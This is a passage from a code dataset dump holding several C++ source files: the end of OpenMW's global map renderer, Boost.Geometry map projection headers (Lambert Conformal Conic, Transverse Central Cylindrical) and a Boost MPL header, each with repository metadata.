mOverlayImage.setColourAt(backup.getColourAt(x, y, 0), originX+x, originY+y, 0);\n                }\n        }\n    }\n\n    void GlobalMap::clear()\n    {\n        Ogre::uchar* buffer =  OGRE_ALLOC_T(Ogre::uchar, mWidth * mHeight * 4, Ogre::MEMCATEGORY_GENERAL);\n        memset(buffer, 0, mWidth * mHeight * 4);\n\n        mOverlayImage.loadDynamicImage(&buffer[0], mWidth, mHeight, 1, Ogre::PF_A8B8G8R8, true); // pass ownership of buffer to image\n\n        mOverlayTexture->load();\n    }\n\n    void GlobalMap::loadResource(Ogre::Resource *resource)\n    {\n        Ogre::Texture* tex = dynamic_cast<Ogre::Texture*>(resource);\n        Ogre::ConstImagePtrList list;\n        list.push_back(&mOverlayImage);\n        tex->_loadImages(list);\n    }\n\n    void GlobalMap::write(ESM::GlobalMap& map)\n    {\n        map.mBounds.mMinX = mMinX;\n        map.mBounds.mMaxX = mMaxX;\n        map.mBounds.mMinY = mMinY;\n        map.mBounds.mMaxY = mMaxY;\n\n        Ogre::DataStreamPtr encoded = mOverlayImage.encode(\"png\");\n        map.mImageData.resize(encoded->size());\n        encoded->read(&map.mImageData[0], encoded->size());\n    }\n\n    void GlobalMap::read(ESM::GlobalMap& map)\n    {\n        const ESM::GlobalMap::Bounds& bounds = map.mBounds;\n\n        if (bounds.mMaxX-bounds.mMinX <= 0)\n            return;\n        if (bounds.mMaxY-bounds.mMinY <= 0)\n            return;\n\n        if (bounds.mMinX > bounds.mMaxX\n                || bounds.mMinY > bounds.mMaxY)\n            throw std::runtime_error(\"invalid map bounds\");\n\n        Ogre::Image image;\n        Ogre::DataStreamPtr stream(new Ogre::MemoryDataStream(&map.mImageData[0], map.mImageData.size()));\n        image.load(stream, \"png\");\n\n        int xLength = (bounds.mMaxX-bounds.mMinX+1);\n        int yLength = (bounds.mMaxY-bounds.mMinY+1);\n\n        // Size of one cell in image space\n        int cellImageSizeSrc = image.getWidth() / xLength;\n        if (int(image.getHeight() / yLength) != cellImageSizeSrc)\n            throw std::runtime_error(\"cell size must be quadratic\");\n\n        // If cell bounds of the currently loaded content and the loaded savegame do not match,\n        // we need to resize source/dest boxes to accommodate\n        // This means nonexisting cells will be dropped silently\n        int cellImageSizeDst = mCellSize;\n\n        // Completely off-screen? -> no need to blit anything\n        if (bounds.mMaxX < mMinX\n                || bounds.mMaxY < mMinY\n                || bounds.mMinX > mMaxX\n                || bounds.mMinY > mMaxY)\n            return;\n\n        int leftDiff = (mMinX - bounds.mMinX);\n        int topDiff = (bounds.mMaxY - mMaxY);\n        int rightDiff = (bounds.mMaxX - mMaxX);\n        int bottomDiff =  (mMinY - bounds.mMinY);\n        Ogre::Image::Box srcBox ( std::max(0, leftDiff * cellImageSizeSrc),\n                                  std::max(0, topDiff * cellImageSizeSrc),\n                                  std::min(image.getWidth(), image.getWidth() - rightDiff * cellImageSizeSrc),\n                                  std::min(image.getHeight(), image.getHeight() - bottomDiff * cellImageSizeSrc));\n\n        Ogre::Image::Box destBox ( std::max(0, -leftDiff * cellImageSizeDst),\n                                   std::max(0, -topDiff * cellImageSizeDst),\n                                   std::min(mOverlayTexture->getWidth(), mOverlayTexture->getWidth() + rightDiff * cellImageSizeDst),\n                                   std::min(mOverlayTexture->getHeight(), mOverlayTexture->getHeight() + bottomDiff * cellImageSizeDst));\n\n        // Looks like there is no interface for blitting from memory with src/dst boxes.\n        // So we create a temporary texture for blitting.\n        Ogre::TexturePtr tex = Ogre::TextureManager::getSingleton().createManual(\"@temp\",\n            Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME, Ogre::TEX_TYPE_2D, image.getWidth(),\n                                                                                 image.getHeight(), 0, Ogre::PF_A8B8G8R8);\n        tex->loadImage(image);\n\n        mOverlayTexture->load();\n        mOverlayTexture->getBuffer()->blit(tex->getBuffer(), srcBox, destBox);\n\n        if (srcBox.left == destBox.left && srcBox.right == destBox.right\n                && srcBox.top == destBox.top && srcBox.bottom == destBox.bottom\n                && int(image.getWidth()) == mWidth && int(image.getHeight()) == mHeight)\n            mOverlayImage = image;\n        else\n            mOverlayTexture->convertToImage(mOverlayImage);\n\n        Ogre::TextureManager::getSingleton().remove(\"@temp\");\n    }\n}\n", "meta": {"hexsha": "fd8b919367009db80485612aaf5e3fe8bdf2503e", "size": 14628, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "apps/openmw/mwrender/globalmap.cpp", "max_stars_repo_name": "Bodillium/openmw", "max_stars_repo_head_hexsha": "5fdd264d0704e33b44b1ccf17ab4fb721f362e34", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "apps/openmw/mwrender/globalmap.cpp", "max_issues_repo_name": "Bodillium/openmw", "max_issues_repo_head_hexsha": "5fdd264d0704e33b44b1ccf17ab4fb721f362e34", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "apps/openmw/mwrender/globalmap.cpp", "max_forks_repo_name": "Bodillium/openmw", "max_forks_repo_head_hexsha": "5fdd264d0704e33b44b1ccf17ab4fb721f362e34", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.5357142857, "max_line_length": 152, "alphanum_fraction": 0.5119633579, "num_tokens": 3530, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230156, "lm_q2_score": 0.28140560140262283, "lm_q1q2_score": 0.1450983324792049}}
{"text": "#ifndef BOOST_GEOMETRY_PROJECTIONS_LCC_HPP\n#define BOOST_GEOMETRY_PROJECTIONS_LCC_HPP\n\n// Boost.Geometry - extensions-gis-projections (based on PROJ4)\n// This file is automatically generated. DO NOT EDIT.\n\n// Copyright (c) 2008-2015 Barend Gehrels, Amsterdam, the Netherlands.\n\n// This file was modified by Oracle on 2017.\n// Modifications copyright (c) 2017, Oracle and/or its affiliates.\n// Contributed and/or modified by Adam Wulkiewicz, on behalf of Oracle.\n\n// Use, modification and distribution is subject to the Boost Software License,\n// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at\n// http://www.boost.org/LICENSE_1_0.txt)\n\n// This file is converted from PROJ4, http://trac.osgeo.org/proj\n// PROJ4 is originally written by Gerald Evenden (then of the USGS)\n// PROJ4 is maintained by Frank Warmerdam\n// PROJ4 is converted to Boost.Geometry by Barend Gehrels\n\n// Last updated version of proj: 4.9.1\n\n// Original copyright notice:\n\n// Permission is hereby granted, free of charge, to any person obtaining a\n// copy of this software and associated documentation files (the \"Software\"),\n// to deal in the Software without restriction, including without limitation\n// the rights to use, copy, modify, merge, publish, distribute, sublicense,\n// and/or sell copies of the Software, and to permit persons to whom the\n// Software is furnished to do so, subject to the following conditions:\n\n// The above copyright notice and this permission notice shall be included\n// in all copies or substantial portions of the Software.\n\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n// DEALINGS IN THE SOFTWARE.\n\n#include <boost/geometry/util/math.hpp>\n#include <boost/math/special_functions/hypot.hpp>\n\n#include <boost/geometry/srs/projections/impl/base_static.hpp>\n#include <boost/geometry/srs/projections/impl/base_dynamic.hpp>\n#include <boost/geometry/srs/projections/impl/projects.hpp>\n#include <boost/geometry/srs/projections/impl/factory_entry.hpp>\n#include <boost/geometry/srs/projections/impl/pj_msfn.hpp>\n#include <boost/geometry/srs/projections/impl/pj_phi2.hpp>\n#include <boost/geometry/srs/projections/impl/pj_tsfn.hpp>\n\n\nnamespace boost { namespace geometry\n{\n\nnamespace srs { namespace par4\n{\n    struct lcc {};\n\n}} //namespace srs::par4\n\nnamespace projections\n{\n    #ifndef DOXYGEN_NO_DETAIL\n    namespace detail { namespace lcc\n    {\n            static const double EPS10 = 1.e-10;\n\n            template <typename T>\n            struct par_lcc\n            {\n                T   phi1;\n                T   phi2;\n                T   n;\n                T   rho0;\n                T   c;\n                int ellips;\n            };\n\n            // template class, using CRTP to implement forward/inverse\n            template <typename CalculationType, typename Parameters>\n            struct base_lcc_ellipsoid : public base_t_fi<base_lcc_ellipsoid<CalculationType, Parameters>,\n                     CalculationType, Parameters>\n            {\n\n                typedef CalculationType geographic_type;\n                typedef CalculationType cartesian_type;\n\n                par_lcc<CalculationType> m_proj_parm;\n\n                inline base_lcc_ellipsoid(const Parameters& par)\n                    : base_t_fi<base_lcc_ellipsoid<CalculationType, Parameters>,\n                     CalculationType, Parameters>(*this, par) {}\n\n                // FORWARD(e_forward)  ellipsoid & spheroid\n                // Project coordinates from geographic (lon, lat) to cartesian (x, y)\n                inline void fwd(geographic_type& lp_lon, geographic_type& lp_lat, cartesian_type& xy_x, cartesian_type& xy_y) const\n                {\n                    static const CalculationType FORTPI = detail::FORTPI<CalculationType>();\n                    static const CalculationType HALFPI = detail::HALFPI<CalculationType>();\n\n                    CalculationType rho;\n                    if (fabs(fabs(lp_lat) - HALFPI) < EPS10) {\n                        if ((lp_lat * this->m_proj_parm.n) <= 0.)\n                            BOOST_THROW_EXCEPTION( projection_exception(-20) );\n                        rho = 0.;\n                    } else\n                        rho = this->m_proj_parm.c * (this->m_proj_parm.ellips ? pow(pj_tsfn(lp_lat, sin(lp_lat),\n                            this->m_par.e), this->m_proj_parm.n) : pow(tan(FORTPI + .5 * lp_lat), -this->m_proj_parm.n));\n                    xy_x = this->m_par.k0 * (rho * sin( lp_lon *= this->m_proj_parm.n ) );\n                    xy_y = this->m_par.k0 * (this->m_proj_parm.rho0 - rho * cos(lp_lon) );\n                }\n\n                // INVERSE(e_inverse)  ellipsoid & spheroid\n                // Project coordinates from cartesian (x, y) to geographic (lon, lat)\n                inline void inv(cartesian_type& xy_x, cartesian_type& xy_y, geographic_type& lp_lon, geographic_type& lp_lat) const\n                {\n                    static const CalculationType HALFPI = detail::HALFPI<CalculationType>();\n\n                    CalculationType rho;\n                    xy_x /= this->m_par.k0;\n                    xy_y /= this->m_par.k0;\n                    if( (rho = boost::math::hypot(xy_x, xy_y = this->m_proj_parm.rho0 - xy_y)) != 0.0) {\n                        if (this->m_proj_parm.n < 0.) {\n                            rho = -rho;\n                            xy_x = -xy_x;\n                            xy_y = -xy_y;\n                        }\n                        if (this->m_proj_parm.ellips) {\n                            if ((lp_lat = pj_phi2(pow(rho / this->m_proj_parm.c, 1./this->m_proj_parm.n), this->m_par.e))\n                                == HUGE_VAL)\n                                BOOST_THROW_EXCEPTION( projection_exception(-20) );\n                        } else\n                            lp_lat = 2. * atan(pow(this->m_proj_parm.c / rho, 1./this->m_proj_parm.n)) - HALFPI;\n                        lp_lon = atan2(xy_x, xy_y) / this->m_proj_parm.n;\n                    } else {\n                        lp_lon = 0.;\n                        lp_lat = this->m_proj_parm.n > 0. ? HALFPI : -HALFPI;\n                    }\n                }\n\n                // SPECIAL(fac)\n                #ifdef SPECIAL_FACTORS_NOT_CONVERTED\n                inline void fac(Geographic lp, Factors &fac) const\n                {\n                    static const CalculationType FORTPI = detail::FORTPI<CalculationType>();\n                    static const CalculationType HALFPI = detail::HALFPI<CalculationType>();\n\n                    CalculationType rho;\n                    if (fabs(fabs(lp_lat) - HALFPI) < EPS10) {\n                        if ((lp_lat * this->m_proj_parm.n) <= 0.) return;\n                        rho = 0.;\n                    } else\n                        rho = this->m_proj_parm.c * (this->m_proj_parm.ellips ? pow(pj_tsfn(lp_lat, sin(lp_lat),\n                            this->m_par.e), this->m_proj_parm.n) : pow(tan(FORTPI + .5 * lp_lat), -this->m_proj_parm.n));\n                    this->m_fac.code |= IS_ANAL_HK + IS_ANAL_CONV;\n                    this->m_fac.k = this->m_fac.h = this->m_par.k0 * this->m_proj_parm.n * rho /\n                        pj_msfn(sin(lp_lat), cos(lp_lat), this->m_par.es);\n                    this->m_fac.conv = - this->m_proj_parm.n * lp_lon;\n                }\n                #endif\n\n                static inline std::string get_name()\n                {\n                    return \"lcc_ellipsoid\";\n                }\n\n            };\n\n            // Lambert Conformal Conic\n            template <typename Parameters, typename T>\n            inline void setup_lcc(Parameters& par, par_lcc<T>& proj_parm)\n            {\n                static const T FORTPI = detail::FORTPI<T>();\n                static const T HALFPI = detail::HALFPI<T>();\n\n                T cosphi, sinphi;\n                int secant;\n\n                proj_parm.phi1 = pj_param(par.params, \"rlat_1\").f;\n                if (pj_param(par.params, \"tlat_2\").i)\n                    proj_parm.phi2 = pj_param(par.params, \"rlat_2\").f;\n                else {\n                    proj_parm.phi2 = proj_parm.phi1;\n                    if (!pj_param(par.params, \"tlat_0\").i)\n                        par.phi0 = proj_parm.phi1;\n                }\n                if (fabs(proj_parm.phi1 + proj_parm.phi2) < EPS10)\n                    BOOST_THROW_EXCEPTION( projection_exception(-21) );\n                proj_parm.n = sinphi = sin(proj_parm.phi1);\n                cosphi = cos(proj_parm.phi1);\n                secant = fabs(proj_parm.phi1 - proj_parm.phi2) >= EPS10;\n                if( (proj_parm.ellips = (par.es != 0.)) ) {\n                    double ml1, m1;\n\n                    par.e = sqrt(par.es);\n                    m1 = pj_msfn(sinphi, cosphi, par.es);\n                    ml1 = pj_tsfn(proj_parm.phi1, sinphi, par.e);\n                    if (secant) { /* secant cone */\n                        proj_parm.n = log(m1 /\n                           pj_msfn(sinphi = sin(proj_parm.phi2), cos(proj_parm.phi2), par.es));\n                        proj_parm.n /= log(ml1 / pj_tsfn(proj_parm.phi2, sinphi, par.e));\n                    }\n                    proj_parm.c = (proj_parm.rho0 = m1 * pow(ml1, -proj_parm.n) / proj_parm.n);\n                    proj_parm.rho0 *= (fabs(fabs(par.phi0) - HALFPI) < EPS10) ? 0. :\n                        pow(pj_tsfn(par.phi0, sin(par.phi0), par.e), proj_parm.n);\n                } else {\n                    if (secant)\n                        proj_parm.n = log(cosphi / cos(proj_parm.phi2)) /\n                           log(tan(FORTPI + .5 * proj_parm.phi2) /\n                           tan(FORTPI + .5 * proj_parm.phi1));\n                    proj_parm.c = cosphi * pow(tan(FORTPI + .5 * proj_parm.phi1), proj_parm.n) / proj_parm.n;\n                    proj_parm.rho0 = (fabs(fabs(par.phi0) - HALFPI) < EPS10) ? 0. :\n                        proj_parm.c * pow(tan(FORTPI + .5 * par.phi0), -proj_parm.n);\n                }\n            }\n\n    }} // namespace detail::lcc\n    #endif // doxygen\n\n    /*!\n        \\brief Lambert Conformal Conic projection\n        \\ingroup projections\n        \\tparam Geographic latlong point type\n        \\tparam Cartesian xy point type\n        \\tparam Parameters parameter type\n        \\par Projection characteristics\n         - Conic\n         - Spheroid\n         - Ellipsoid\n        \\par Projection parameters\n         - lat_1: Latitude of first standard parallel (degrees)\n         - lat_2: Latitude of second standard parallel (degrees)\n         - lat_0: Latitude of origin\n        \\par Example\n        \\image html ex_lcc.gif\n    */\n    template <typename CalculationType, typename Parameters>\n    struct lcc_ellipsoid : public detail::lcc::base_lcc_ellipsoid<CalculationType, Parameters>\n    {\n        inline lcc_ellipsoid(const Parameters& par) : detail::lcc::base_lcc_ellipsoid<CalculationType, Parameters>(par)\n        {\n            detail::lcc::setup_lcc(this->m_par, this->m_proj_parm);\n        }\n    };\n\n    #ifndef DOXYGEN_NO_DETAIL\n    namespace detail\n    {\n\n        // Static projection\n        BOOST_GEOMETRY_PROJECTIONS_DETAIL_STATIC_PROJECTION(srs::par4::lcc, lcc_ellipsoid, lcc_ellipsoid)\n\n        // Factory entry(s)\n        template <typename CalculationType, typename Parameters>\n        class lcc_entry : public detail::factory_entry<CalculationType, Parameters>\n        {\n            public :\n                virtual base_v<CalculationType, Parameters>* create_new(const Parameters& par) const\n                {\n                    return new base_v_fi<lcc_ellipsoid<CalculationType, Parameters>, CalculationType, Parameters>(par);\n                }\n        };\n\n        template <typename CalculationType, typename Parameters>\n        inline void lcc_init(detail::base_factory<CalculationType, Parameters>& factory)\n        {\n            factory.add_to_factory(\"lcc\", new lcc_entry<CalculationType, Parameters>);\n        }\n\n    } // namespace detail\n    #endif // doxygen\n\n} // namespace projections\n\n}} // namespace boost::geometry\n\n#endif // BOOST_GEOMETRY_PROJECTIONS_LCC_HPP\n\n", "meta": {"hexsha": "609c08491c97b64489f9b4f50bb87c2e4776dc8c", "size": 12435, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "boost_1_67_0/boost/geometry/srs/projections/proj/lcc.hpp", "max_stars_repo_name": "ramcn/gemmx", "max_stars_repo_head_hexsha": "e23ab5358322a293110b642962b478bc92580636", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 354.0, "max_stars_repo_stars_event_min_datetime": "2018-08-13T18:19:21.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T10:37:20.000Z", "max_issues_repo_path": "boost_1_67_0/boost/geometry/srs/projections/proj/lcc.hpp", "max_issues_repo_name": "ramcn/gemmx", "max_issues_repo_head_hexsha": "e23ab5358322a293110b642962b478bc92580636", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 79.0, "max_issues_repo_issues_event_min_datetime": "2018-08-01T11:50:45.000Z", "max_issues_repo_issues_event_max_datetime": "2020-11-17T13:40:06.000Z", "max_forks_repo_path": "boost_1_67_0/boost/geometry/srs/projections/proj/lcc.hpp", "max_forks_repo_name": "ramcn/gemmx", "max_forks_repo_head_hexsha": "e23ab5358322a293110b642962b478bc92580636", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 90.0, "max_forks_repo_forks_event_min_datetime": "2018-11-15T12:37:51.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-14T11:12:39.000Z", "avg_line_length": 43.9399293286, "max_line_length": 131, "alphanum_fraction": 0.5684760756, "num_tokens": 2856, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5195213070736461, "lm_q2_score": 0.2782567937024021, "lm_q1q2_score": 0.14456033316639383}}
{"text": "\n#ifndef BOOST_MPL_DISTANCE_HPP_INCLUDED\n#define BOOST_MPL_DISTANCE_HPP_INCLUDED\n\n// Copyright Aleksey Gurtovoy 2000-2004\n//\n// Distributed under the Boost Software License, Version 1.0. \n// (See accompanying file LICENSE_1_0.txt or copy at \n// http://www.boost.org/LICENSE_1_0.txt)\n//\n// See http://www.boost.org/libs/mpl for documentation.\n\n// $Id: distance.hpp 49267 2008-10-11 06:19:02Z agurtovoy $\n// $Date: 2008-10-11 10:19:02 +0400 (\u00d1\u00e1, 11 \u00ee\u00ea\u00f2 2008) $\n// $Revision: 49267 $\n\n#include <boost/mpl/distance_fwd.hpp>\n#include <boost/mpl/iter_fold.hpp>\n#include <boost/mpl/iterator_range.hpp>\n#include <boost/mpl/long.hpp>\n#include <boost/mpl/next.hpp>\n#include <boost/mpl/tag.hpp>\n#include <boost/mpl/apply_wrap.hpp>\n#include <boost/mpl/aux_/msvc_eti_base.hpp>\n#include <boost/mpl/aux_/value_wknd.hpp>\n#include <boost/mpl/aux_/na_spec.hpp>\n#include <boost/mpl/aux_/config/forwarding.hpp>\n#include <boost/mpl/aux_/config/static_constant.hpp>\n\n\nnamespace boost { namespace mpl {\n\n// default implementation for forward/bidirectional iterators\ntemplate< typename Tag > struct distance_impl\n{\n    template< typename First, typename Last > struct apply\n#if !defined(BOOST_MPL_CFG_NO_NESTED_FORWARDING)\n        : aux::msvc_eti_base< typename iter_fold<\n              iterator_range<First,Last>\n            , mpl::long_<0>\n            , next<>\n            >::type >\n    {\n#else\n    {\n        typedef typename iter_fold<\n              iterator_range<First,Last>\n            , mpl::long_<0>\n            , next<>\n            >::type type;\n        \n        BOOST_STATIC_CONSTANT(long, value =\n              (iter_fold<\n                  iterator_range<First,Last>\n                , mpl::long_<0>\n                , next<>\n                >::type::value)\n            );\n#endif\n    };\n};\n\ntemplate<\n      typename BOOST_MPL_AUX_NA_PARAM(First)\n    , typename BOOST_MPL_AUX_NA_PARAM(Last)\n    >\nstruct distance\n    : distance_impl< typename tag<First>::type >\n        ::template apply<First, Last>\n{\n    BOOST_MPL_AUX_LAMBDA_SUPPORT(2, distance, (First, Last))\n};\n\nBOOST_MPL_AUX_NA_SPEC(2, distance)\n\n}}\n\n#endif // BOOST_MPL_DISTANCE_HPP_INCLUDED\n", "meta": {"hexsha": "c82beb9bbfdbd74c8a65787a830fc7e01ba0974e", "size": 2134, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "lib/boost/include/boost/mpl/distance.hpp", "max_stars_repo_name": "bo3b/iZ3D", "max_stars_repo_head_hexsha": "ced8b3a4b0a152d0177f2e94008918efc76935d5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 27.0, "max_stars_repo_stars_event_min_datetime": "2020-11-12T19:24:54.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-27T23:10:45.000Z", "max_issues_repo_path": "lib/boost/include/boost/mpl/distance.hpp", "max_issues_repo_name": "bo3b/iZ3D", "max_issues_repo_head_hexsha": "ced8b3a4b0a152d0177f2e94008918efc76935d5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2.0, "max_issues_repo_issues_event_min_datetime": "2020-11-02T06:30:39.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-23T18:39:55.000Z", "max_forks_repo_path": "lib/boost/include/boost/mpl/distance.hpp", "max_forks_repo_name": "bo3b/iZ3D", "max_forks_repo_head_hexsha": "ced8b3a4b0a152d0177f2e94008918efc76935d5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3.0, "max_forks_repo_forks_event_min_datetime": "2021-08-16T00:21:08.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-23T19:19:36.000Z", "avg_line_length": 27.0126582278, "max_line_length": 62, "alphanum_fraction": 0.6597938144, "num_tokens": 566, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5428632831725052, "lm_q2_score": 0.26588047891687405, "lm_q1q2_score": 0.1443367497162923}}
{"text": "#ifndef BOOST_GEOMETRY_PROJECTIONS_TCC_HPP\n#define BOOST_GEOMETRY_PROJECTIONS_TCC_HPP\n\n// Boost.Geometry - extensions-gis-projections (based on PROJ4)\n// This file is automatically generated. DO NOT EDIT.\n\n// Copyright (c) 2008-2015 Barend Gehrels, Amsterdam, the Netherlands.\n\n// Use, modification and distribution is subject to the Boost Software License,\n// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at\n// http://www.boost.org/LICENSE_1_0.txt)\n\n// This file is converted from PROJ4, http://trac.osgeo.org/proj\n// PROJ4 is originally written by Gerald Evenden (then of the USGS)\n// PROJ4 is maintained by Frank Warmerdam\n// PROJ4 is converted to Boost.Geometry by Barend Gehrels\n\n// Last updated version of proj: 4.9.1\n\n// Original copyright notice:\n\n// Permission is hereby granted, free of charge, to any person obtaining a\n// copy of this software and associated documentation files (the \"Software\"),\n// to deal in the Software without restriction, including without limitation\n// the rights to use, copy, modify, merge, publish, distribute, sublicense,\n// and/or sell copies of the Software, and to permit persons to whom the\n// Software is furnished to do so, subject to the following conditions:\n\n// The above copyright notice and this permission notice shall be included\n// in all copies or substantial portions of the Software.\n\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n// DEALINGS IN THE SOFTWARE.\n\n#include <boost/geometry/extensions/gis/projections/impl/base_static.hpp>\n#include <boost/geometry/extensions/gis/projections/impl/base_dynamic.hpp>\n#include <boost/geometry/extensions/gis/projections/impl/projects.hpp>\n#include <boost/geometry/extensions/gis/projections/impl/factory_entry.hpp>\n\nnamespace boost { namespace geometry { namespace projections\n{\n    #ifndef DOXYGEN_NO_DETAIL\n    namespace detail { namespace tcc\n    {\n\n            static const double EPS10 = 1.e-10;\n\n            struct par_tcc\n            {\n                double ap;\n            };\n\n            // template class, using CRTP to implement forward/inverse\n            template <typename Geographic, typename Cartesian, typename Parameters>\n            struct base_tcc_spheroid : public base_t_f<base_tcc_spheroid<Geographic, Cartesian, Parameters>,\n                     Geographic, Cartesian, Parameters>\n            {\n\n                 typedef double geographic_type;\n                 typedef double cartesian_type;\n\n                par_tcc m_proj_parm;\n\n                inline base_tcc_spheroid(const Parameters& par)\n                    : base_t_f<base_tcc_spheroid<Geographic, Cartesian, Parameters>,\n                     Geographic, Cartesian, Parameters>(*this, par) {}\n\n                // FORWARD(s_forward)  spheroid\n                // Project coordinates from geographic (lon, lat) to cartesian (x, y)\n                inline void fwd(geographic_type& lp_lon, geographic_type& lp_lat, cartesian_type& xy_x, cartesian_type& xy_y) const\n                {\n                    double b, bt;\n\n                    b = cos(lp_lat) * sin(lp_lon);\n                    if ((bt = 1. - b * b) < EPS10) throw proj_exception();;\n                    xy_x = b / sqrt(bt);\n                    xy_y = atan2(tan(lp_lat) , cos(lp_lon));\n                }\n\n                static inline std::string get_name()\n                {\n                    return \"tcc_spheroid\";\n                }\n\n            };\n\n            // Transverse Central Cylindrical\n            template <typename Parameters>\n            void setup_tcc(Parameters& par, par_tcc& proj_parm)\n            {\n                par.es = 0.;\n            }\n\n        }} // namespace detail::tcc\n    #endif // doxygen\n\n    /*!\n        \\brief Transverse Central Cylindrical projection\n        \\ingroup projections\n        \\tparam Geographic latlong point type\n        \\tparam Cartesian xy point type\n        \\tparam Parameters parameter type\n        \\par Projection characteristics\n         - Cylindrical\n         - Spheroid\n         - no inverse\n        \\par Example\n        \\image html ex_tcc.gif\n    */\n    template <typename Geographic, typename Cartesian, typename Parameters = parameters>\n    struct tcc_spheroid : public detail::tcc::base_tcc_spheroid<Geographic, Cartesian, Parameters>\n    {\n        inline tcc_spheroid(const Parameters& par) : detail::tcc::base_tcc_spheroid<Geographic, Cartesian, Parameters>(par)\n        {\n            detail::tcc::setup_tcc(this->m_par, this->m_proj_parm);\n        }\n    };\n\n    #ifndef DOXYGEN_NO_DETAIL\n    namespace detail\n    {\n\n        // Factory entry(s)\n        template <typename Geographic, typename Cartesian, typename Parameters>\n        class tcc_entry : public detail::factory_entry<Geographic, Cartesian, Parameters>\n        {\n            public :\n                virtual projection<Geographic, Cartesian>* create_new(const Parameters& par) const\n                {\n                    return new base_v_f<tcc_spheroid<Geographic, Cartesian, Parameters>, Geographic, Cartesian, Parameters>(par);\n                }\n        };\n\n        template <typename Geographic, typename Cartesian, typename Parameters>\n        inline void tcc_init(detail::base_factory<Geographic, Cartesian, Parameters>& factory)\n        {\n            factory.add_to_factory(\"tcc\", new tcc_entry<Geographic, Cartesian, Parameters>);\n        }\n\n    } // namespace detail\n    #endif // doxygen\n\n}}} // namespace boost::geometry::projections\n\n#endif // BOOST_GEOMETRY_PROJECTIONS_TCC_HPP\n\n", "meta": {"hexsha": "b491be9a438bd7d36006ba73e14b76148d4984b0", "size": 5880, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "3party/boost/boost/geometry/extensions/gis/projections/proj/tcc.hpp", "max_stars_repo_name": "bowlofstew/omim", "max_stars_repo_head_hexsha": "8045157c95244aa8f862d47324df42a19b87e335", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2019-01-11T05:02:05.000Z", "max_stars_repo_stars_event_max_datetime": "2019-01-11T05:02:05.000Z", "max_issues_repo_path": "3party/boost/boost/geometry/extensions/gis/projections/proj/tcc.hpp", "max_issues_repo_name": "bowlofstew/omim", "max_issues_repo_head_hexsha": "8045157c95244aa8f862d47324df42a19b87e335", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "3party/boost/boost/geometry/extensions/gis/projections/proj/tcc.hpp", "max_forks_repo_name": "bowlofstew/omim", "max_forks_repo_head_hexsha": "8045157c95244aa8f862d47324df42a19b87e335", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2.0, "max_forks_repo_forks_event_min_datetime": "2018-04-04T10:55:01.000Z", "max_forks_repo_forks_event_max_datetime": "2020-04-23T18:52:06.000Z", "avg_line_length": 38.6842105263, "max_line_length": 131, "alphanum_fraction": 0.6545918367, "num_tokens": 1264, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5350984286266115, "lm_q2_score": 0.26894141551050293, "lm_q1q2_score": 0.1439101288322867}}
